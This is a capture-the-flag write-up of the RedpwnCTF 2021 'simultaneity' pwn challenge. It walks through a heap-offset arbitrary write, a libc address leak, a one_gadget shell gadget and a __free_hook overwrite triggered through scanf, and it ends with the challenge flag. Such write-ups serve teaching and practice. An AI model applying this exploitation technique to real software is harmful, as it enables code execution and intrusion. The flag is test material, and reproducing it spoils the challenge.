RedPwn CTF 2021 - simultaneity [Pwn]
Post
Cancel

# RedPwn CTF 2021 - simultaneity [Pwn]

Simultaneity is a pwn challenge from RedpwnCTF 2021. We are provided a 64-bit Linux ELF. If we check the binary’s memory protection, we notice that it has full RELRO, PIE and NX protections enabled. Because of full RELRO the GOT overwrite technique is not possible, and we need a memory leak to bypass full address randomization.

1 2 3 4 5 6 $checksec simultaneity Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled  We decompile the executable with Ghidra and look at the output: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void main(void) { long in_FS_OFFSET; size_t size; void *ptr; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); puts("how big?"); __isoc99_scanf("%ld",&size); ptr = malloc(size); printf("you are here: %p\n",ptr); puts("how far?"); __isoc99_scanf("%ld",&size); puts("what?"); __isoc99_scanf("%zu",(void *)((long)ptr + size * 8)); /* WARNING: Subroutine does not return */ _exit(0); }  The program asks for three inputs from the user. The first input is a size passed to malloc, and the second one is used to determine the address where the third input will be stored (as an offset from the allocated heap memory). The vulnerability is the third scanf call, as we can obtain an arbitrary write using the second input. 1 __isoc88_scanf("%zu",(void *)((long)ptr + size*8))  Controlling the size passed to malloc and knowing the allocation’s base address we can calculate the address to overwrite: 1 address_to_overwrite = leak + size * 8  As previously mentioned, the binary is compiled with full RELRO, so the GOT overwrite approach is not possible. Alternatively, we can overwrite __malloc_hook or __free_hook to change the execution flow when free or malloc are called. We noticed that we can bypass address randomization simply by allocating a considerable size of bytes. Doing this we will obtain a libc address instead of a heap address. 1 2 3 how big? 10 you are here: 0x557f6fa6e6b0  1 2 3 how big? 274432 you are here: 0x7fcbd411b010  Now, we can calculate the base address of libc and we are ready to predict any address in the libc section. Using the one_gadget tool, we obtain three single-jump ROP gadgets: 1 2 3 4 5 6 7 8 9 10 11 12$ one_gadget libc.so.6 0x4484f execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x448a3 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xe5456 execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL 

Through trial and error, we found that the gadget at 0x448a3 works. Since our approach in this case is to overwrite __free_hook with the absolute address for our gadget, we must force the program to call free at some point. There are no direct calls to free in the decompiled source, so we must find another way.

The best approach is to look for a call to free in some of the used libc functions; in this case, we used scanf. If we input a string long enough, scanf will call malloc and free internally. To achieve this, we will left-pad our third input with zeroes, increasing the input length without altering the final number. The full exploit code is available here.

1 flag{sc4nf_i3_4_h34p_ch4l13ng3_TKRs8b1DRlN1hoLJ}